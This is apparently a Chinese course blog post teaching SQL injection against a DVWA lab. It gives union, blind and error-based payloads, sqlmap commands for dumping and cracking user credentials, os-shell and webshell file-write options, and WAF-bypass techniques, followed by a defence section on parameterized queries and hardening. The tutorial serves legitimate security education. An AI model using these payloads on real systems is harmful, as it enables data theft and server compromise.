SQL注入漏洞实战
马哥教育网络安全课程实战博客 · 第06篇 对应课程章节:第15-16章(信息搜集和SQL注入漏洞,SQL注入漏洞) 实验环境:4台 Ubuntu 24.04 服务器(8vCPU / 16GB),攻击机 113.47.1.165,目标机 192.168.1.100(DVWA + MySQL)
一、前言
SQL注入(SQL Injection)是Web安全中最经典、危害最大的漏洞之一。攻击者通过在输入中插入恶意SQL片段,篡改后端SQL查询逻辑,从而窃取、篡改或删除数据库内容。本篇从原理出发,覆盖手动注入、自动化利用、绕过技术和防御方案,并在DVWA靶场进行全流程实战。
二、SQL注入基础
2.1 什么是SQL注入
当Web应用将用户输入直接拼接进SQL语句,且未做过滤或参数化处理时,攻击者可以构造特殊输入改变SQL语义。
漏洞代码示例(PHP):
// 危险:直接拼接用户输入
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = $id";
$result = mysqli_query($conn, $query);
正常请求 ?id=1,SQL为:
SELECT * FROM users WHERE id = 1
攻击请求 ?id=1 UNION SELECT username,password FROM users--,SQL变为:
SELECT * FROM users WHERE id = 1 UNION SELECT username,password FROM users--
攻击者通过UNION操作将users表的所有用户名和密码查询出来。
2.2 SQL注入的危害
| 危害 | 说明 |
|---|---|
| 数据泄露 | 读取数据库中所有表的数据,包括用户凭证、个人信息 |
| 数据篡改 | 修改或删除数据库记录 |
| 认证绕过 | 构造永真条件绕过登录验证 |
| 信息收集 | 获取数据库版本、表结构,为后续攻击提供信息 |
| 命令执行 | 通过 xp_cmdshell(MSSQL)或 INTO OUTFILE(MySQL)写文件 |
| 权限提升 | 写入Webshell获取服务器控制权 |
2.3 SQL注入产生条件
1. 用户输入可控
2. 输入被拼接进SQL语句
3. 未使用参数化查询/预处理语句
4. 未对输入进行充分过滤和验证
三、SQL注入分类
3.1 按注入点位置分类
| 类型 | 注入点 | 示例 |
|---|---|---|
| 注入型 | WHERE条件中的参数 | ?id=1 |
| 搜索型 | LIKE条件中的搜索词 | ?keyword=test |
| INSERT型 | INSERT语句的VALUES | 注册/添加功能 |
| UPDATE型 | UPDATE语句的SET | 修改密码/资料 |
| HTTP头注入 | Cookie/Referer/UA | 记录访问日志功能 |
3.2 按返回结果分类
联合查询型注入(Union-based)
最直接的注入方式,通过UNION SELECT将额外数据拼接到查询结果中。
-- 判断字段数
?id=1 ORDER BY 1-- - → 正常
?id=1 ORDER BY 2-- - → 正常
?id=1 ORDER BY 3-- - → 报错,说明有2个字段
-- 确定显示位
?id=-1 UNION SELECT 1,2-- -
-- 提取数据
?id=-1 UNION SELECT username,password FROM users-- -
布尔盲注(Boolean-based Blind)
当页面不直接返回查询数据,但根据条件真假返回不同内容时使用。
-- 判断数据库长度
?id=1 AND LENGTH(database())=4-- - → 正常,数据库名长度为4
-- 逐字符猜解数据库名
?id=1 AND ASCII(SUBSTR(database(),1,1))=100-- - → d
?id=1 AND ASCII(SUBSTR(database(),2,1))=118-- - → v
-- 最终猜解出数据库名: dvwa
时间盲注(Time-based Blind)
当页面无论真假都返回相同内容时,通过延时函数判断条件真假。
-- MySQL时间盲注
?id=1 AND IF(LENGTH(database())=4, SLEEP(5), 0)-- -
-- 如果响应延迟5秒,说明条件为真
-- 逐字符猜解
?id=1 AND IF(ASCII(SUBSTR(database(),1,1))=100, SLEEP(5), 0)-- -
报错型注入(Error-based)
利用数据库报错信息回显数据。
-- MySQL报错注入(updatexml)
?id=1 AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- -
-- 报错信息: XPATH syntax error: '~dvwa~'
-- extractvalue方式
?id=1 AND extractvalue(1,concat(0x7e,(SELECT version()),0x7e))-- -
四、手动SQL注入实战(DVWA Low级别)
4.1 环境确认
目标URL: http://192.168.1.100/DVWA/vulnerabilities/sqli/
参数: id
Cookie: security=low; PHPSESSID=xxx
4.2 Step 1: 判断注入点
# 正常请求
curl "http://192.168.1.100/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" \
-b "security=low; PHPSESSID=xxx"
# 返回: First name: admin, Surname: admin
# 加单引号
curl "http://192.168.1.100/DVWA/vulnerabilities/sqli/?id=1'&Submit=Submit" \
-b "security=low; PHPSESSID=xxx"
# 返回: SQL语法错误 → 存在SQL注入
4.3 Step 2: 判断字段数(ORDER BY)
?id=1 ORDER BY 1-- - → 正常
?id=1 ORDER BY 2-- - → 正常
?id=1 ORDER BY 3-- - → 报错
结论:查询有2个字段。
4.4 Step 3: 确定显示位
?id=-1 UNION SELECT 1,2-- -
页面显示:First name: 1, Surname: 2。两个位置都能回显数据。
4.5 Step 4: 提取数据库信息
-- 当前数据库名
?id=-1 UNION SELECT database(),version()-- -
-- 结果: First name: dvwa, Surname: 5.7.40
-- 所有数据库名
?id=-1 UNION SELECT GROUP_CONCAT(schema_name),2 FROM information_schema.schemata-- -
-- 结果: information_schema,dvwa,mysql,performance_schema,sys
4.6 Step 5: 提取表名
-- dvwa数据库中的表
?id=-1 UNION SELECT GROUP_CONCAT(table_name),2 FROM information_schema.tables WHERE table_schema='dvwa'-- -
-- 结果: guestbook,users
4.7 Step 6: 提取列名
-- users表的列
?id=-1 UNION SELECT GROUP_CONCAT(column_name),2 FROM information_schema.columns WHERE table_name='users' AND table_schema='dvwa'-- -
-- 结果: user_id,first_name,last_name,user,password,avatar,last_login,failed_login
4.8 Step 7: 提取数据
-- 提取用户名和密码哈希
?id=-1 UNION SELECT GROUP_CONCAT(user,0x3a,password),2 FROM dvwa.users-- -
-- 结果: admin:5f4dcc3b5aa765d61d8327deb882cf99,gordonb:e99a18c428cb89d5ec2335e...
密码哈希 5f4dcc3b5aa765d61d8327deb882cf99 是MD5("password"),可在CMD5等在线平台解密。
五、布尔盲注实战(DVWA Medium级别)
Medium级别使用 mysqli_real_escape_string 过滤特殊字符,且改为POST提交。但数字型注入不依赖引号,仍可注入。
5.1 判断注入
POST: id=1 AND 1=1&Submit=Submit → 正常显示
POST: id=1 AND 1=2&Submit=Submit → 无数据
条件真假返回不同结果,确认布尔盲注。
5.2 猜解数据库名长度
id=1 AND LENGTH(database())=1 → 无数据
id=1 AND LENGTH(database())=2 → 无数据
id=1 AND LENGTH(database())=3 → 无数据
id=1 AND LENGTH(database())=4 → 正常显示
数据库名长度为4。
5.3 逐字符猜解
-- 使用二分法加速
id=1 AND ASCII(SUBSTR(database(),1,1))>100-- -
-- 正常 → 第一个字符ASCII码>100
id=1 AND ASCII(SUBSTR(database(),1,1))>110-- -
-- 无数据 → ASCII码在100-110之间
id=1 AND ASCII(SUBSTR(database(),1,1))=100-- -
-- 正常 → 第一个字符是 'd' (ASCII 100)
重复此过程猜解所有字符,最终得到数据库名 dvwa。
六、SQLMap自动化利用
SQLMap是最强大的SQL注入自动化工具,支持多种数据库和注入类型。
6.1 安装
git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python3 sqlmap.py --version
6.2 基础用法
# 检测注入点
python3 sqlmap.py -u "http://192.168.1.100/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=xxx"
# 输出:
# [INFO] testing 'AND boolean-based blind'
# [INFO] GET parameter 'id' appears to be boolean-based blind injectable
# [INFO] GET parameter 'id' is 'UNION query' injectable
# [INFO] the back-end DBMS is 'MySQL'
6.3 提取数据
# 获取所有数据库名
python3 sqlmap.py -u "http://192.168.1.100/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=xxx" \
--dbs
# 结果:
# available databases [5]:
# [*] dvwa
# [*] information_schema
# [*] mysql
# [*] performance_schema
# [*] sys
# 获取dvwa库的表
python3 sqlmap.py -u "..." --cookie="..." -D dvwa --tables
# 结果:
# Database: dvwa
# [2 tables]
# +-----------+
# | guestbook |
# | users |
# +-----------+
# 获取users表的列
python3 sqlmap.py -u "..." --cookie="..." -D dvwa -T users --columns
# 导出数据
python3 sqlmap.py -u "..." --cookie="..." -D dvwa -T users --dump
# 结果:
# Database: dvwa
# Table: users
# [5 entries]
# +---------+---------+-----------+----------------------------------+
# | user_id | user | password | avatar |
# +---------+---------+-----------+----------------------------------+
# | 1 | admin | 5f4dcc... | /hackable/users/admin.jpg |
# | 2 | gordonb | e99a18... | /hackable/users/gordonb.jpg |
# +---------+---------+-----------+----------------------------------+
# [INFO] cracked password hashes: password, abc123, charlie, letmein
6.4 SQLMap高级选项
# 指定注入技术
--technique=BEUST # B=布尔盲注 E=报错 U=联合 S=堆叠 T=时间盲注
# 指定数据库类型
--dbms=mysql
# 指定注入参数
-p id # 只测试id参数
# POST请求
python3 sqlmap.py -u "http://192.168.1.100/DVWA/vulnerabilities/sqli/" \
--data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=xxx"
# 使用Burp请求文件
python3 sqlmap.py -r request.txt --dbs
# 交互式SQL Shell
python3 sqlmap.py -u "..." --cookie="..." --sql-shell
# sql-shell> SELECT user,password FROM dvwa.users;
# OS Shell(需要DBA权限,可执行系统命令)
python3 sqlmap.py -u "..." --cookie="..." --os-shell
# 写入文件
--file-write="/home/attacker/shell.php" --file-dest="/var/www/html/shell.php"
七、WAF绕过技术
7.1 常见过滤与绕过
| 过滤内容 | 绕过方法 | ||
|---|---|---|---|
| 过滤空格 | 使用 /**/、%0a、%09(Tab)、()代替空格 | ||
过滤 UNION | 大小写混合 UnIoN、UNI%00ON、UN/**/ION | ||
过滤 SELECT | SELE%00CT、SEL/**/ECT、内联注释 | ||
| 过滤引号 | 十六进制编码:0x64767761 = 'dvwa' | ||
| 过滤逗号 | SUBSTR(database() FROM 1 FOR 1) 代替 SUBSTR(database(),1,1) | ||
过滤 = | 使用 LIKE、IN、BETWEEN | ||
过滤 AND/OR | 使用 && / ` | ` |
7.2 内联注释绕过(MySQL特性)
MySQL中 /*!...*/ 内联注释会被执行:
-- 正常UNION SELECT被WAF拦截
?id=1 UNION SELECT 1,2-- -
-- 使用内联注释绕过
?id=1 /*!UNION*/ /*!SELECT*/ 1,2-- -
7.3 SQLMap绕过WAF
# 使用tamper脚本绕过WAF
python3 sqlmap.py -u "..." --tamper=space2comment,between,randomcase
# 常用tamper脚本:
# space2comment - 空格替换为注释
# between - > 替换为 BETWEEN
# randomcase - 随机大小写
# charencode - URL编码
# equaltolike - = 替换为 LIKE
# space2plus - 空格替换为+
# unionalltounion - UNION ALL 替换为 UNION
# 查看所有tamper脚本
ls tamper/
7.4 DVWA High级别分析
High级别使用 stripslashes 和自定义 check_input 函数过滤输入,并采用LIMIT限制查询结果:
$id = check_input($_GET['id']);
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
绕过思路:
check_input限制了长度并使用mysql_real_escape_string转义引号- 但可以在
LIMIT 1之前闭合引号并注释掉后续内容 - Payload:
id=1' UNION SELECT user,password FROM users-- -
八、防御方案
8.1 参数化查询(最有效防御)
// 安全:使用预处理语句(PDO)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->bindParam(':id', $id, PDO::PARAM_INT);
$stmt->execute();
// 安全:MySQLi预处理
$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
# Python安全写法(参数化查询)
import mysql.connector
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE id = %s", (id,))
// Java安全写法(PreparedStatement)
PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
ps.setInt(1, id);
ResultSet rs = ps.executeQuery();
8.2 DVWA Impossible级别代码分析
// Impossible级别使用参数化查询
$data->query('SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;');
$data->bind(':id', $id, PDO::PARAM_INT);
同时增加了:
- Anti-CSRF Token验证
- 输入类型强制转换
- 日志记录失败尝试
8.3 输入验证与过滤
// 强制类型转换(数字型ID)
$id = intval($_GET['id']);
// 白名单验证
$allowed_fields = ['name', 'email', 'phone'];
$field = in_array($_GET['sort'], $allowed_fields) ? $_GET['sort'] : 'id';
// 使用ORM框架自动参数化
// Laravel Eloquent: User::where('id', $id)->first();
8.4 WAF(Web应用防火墙)
# ModSecurity + OWASP CRS配置
sudo apt install libapache2-mod-security2 -y
sudo a2enmod security2
# 下载OWASP Core Rule Set
cd /etc/modsecurity
git clone https://github.com/coreruleset/coreruleset.git
# 配置规则
sudo nano /etc/modsecurity/modsecurity.conf
# SecRuleEngine On
# 启用CRS
sudo cp /etc/modsecurity/coreruleset/crs-setup.conf.example \
/etc/modsecurity/coreruleset/crs-setup.conf
sudo systemctl restart apache2
8.5 数据库安全加固
| 措施 | 说明 |
|---|---|
| 最小权限原则 | 应用使用低权限数据库账户,不使用root |
| 禁用危险函数 | 禁用 INTO OUTFILE、LOAD_FILE 等 |
| 关闭错误回显 | 生产环境关闭 display_errors,使用自定义错误页 |
| 数据加密存储 | 密码使用bcrypt/Argon2,不使用MD5 |
| 审计日志 | 开启数据库查询日志,监控异常查询 |
| 网络隔离 | 数据库不直接暴露公网,仅允许应用服务器访问 |
九、总结
本篇系统讲解了SQL注入漏洞:
- 原理:用户输入直接拼接进SQL语句,导致SQL语义被篡改。
- 分类:联合查询型、布尔盲注、时间盲注、报错型,各有适用场景。
- 手动注入:判断注入点 → 判断字段数 → 确定显示位 → 提取库/表/列/数据,七步法完整覆盖。
- SQLMap:自动化检测和利用,支持
--dbs、--tables、--columns、--dump全流程提取数据。 - 绕过技术:内联注释、大小写混淆、编码绕过、tamper脚本,应对WAF和过滤。
- 防御:参数化查询是根本方案,配合输入验证、WAF、最小权限和数据库加固形成纵深防御。
SQL注入虽然历史悠久,但在实际渗透测试中仍然高频出现。掌握手动注入原理是使用自动化工具的前提——当工具失效时,手动能力决定了能否继续突破。
下一篇将进入更多Web漏洞类型的实战,包括XSS、文件上传、命令注入等。
免责声明:本文所有技术内容仅用于授权安全测试和教学目的。所有实操均在自有靶场环境中进行。未经授权对他人系统进行测试属于违法行为。